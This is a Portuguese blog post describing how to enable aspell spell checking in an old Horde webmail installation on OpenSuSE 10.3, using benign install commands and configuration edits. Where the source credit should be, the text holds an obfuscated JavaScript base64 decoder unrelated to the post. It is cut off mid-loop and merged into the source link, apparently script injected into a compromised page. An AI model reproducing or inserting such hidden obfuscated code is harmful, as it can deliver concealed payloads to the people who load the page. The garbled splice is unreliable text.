Página Inicial > Linux > Ativando suporte a corretor ortográfico ao Horde

Ativando suporte a corretor ortográfico ao Horde

Opa,

Recentemente foi necessário ativar o recurso de corretor ortográfico em uma antiga instalação do Horde em um OpenSuSE 10.3, para isso foi necessário instalar o aspell e alterar alguns arquivos de configuração do Horde, segue abaixo o simples procedimento:

Primeiro precisamos instalar o aspell (caso ainda não esteja instalado):

# zypper install aspell-pt_BR

OBS.: Como o repositório oficial do OpenSuSE não possui mais a versão 10.3, caso necessite utilize o repositório http://ftp5.gwdg.de/pub/opensuse/discontinued/distribution/10.3/.

Fazemos um teste para verificar algum erro na instalação com o dicionário Português Brasileiro (caso não retorne nenhuma mensagem de erro pressione CTRL+C para sair):

# aspell -l pt_BR -a

Caso deseje, crie um arquivo teste.txt com alguns erros de ortografia e execute o aspell para detectar os erros:

# aspell -l pt_BR -c teste.txt

Com o aspell devidamente instalado e funcionando, basta alterarmos os dois arquivos de configuração abaixo para ter essa funcionalidade adicionada ao Webmail, o primeiro é o nls.php e serve para definirmos que a linguagem padrão é o Português Brasileiro:

# vim /srv/www/htdocs/horde/config/nls.php

$nls['defaults']['language'] = 'pt_BR';

O segundo é o conf.php e nele definimos o caminho do binário do aspell:

# vim /srv/www/htdocs/horde/imp/config/conf.php

$conf['spell']['driver'] = '/usr/bin/aspell';

Pronto! Na interface de redação de nova mensagem já deverá estar ativo o botão de corretor ortográfico conforme imagem abaixo:

Corretor Ortográfico Horde

Abraço!

Fonte: function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5andersonjacson.com.br/portal/modules/smartsection/item.php?itemid=20">http://www.andersonjacson.com.br/portal/modules/smartsection/item.php?itemid=20

Categories: Linux Tags: , ,
  1. Nenhum comentário ainda.
  1. Nenhum trackback ainda.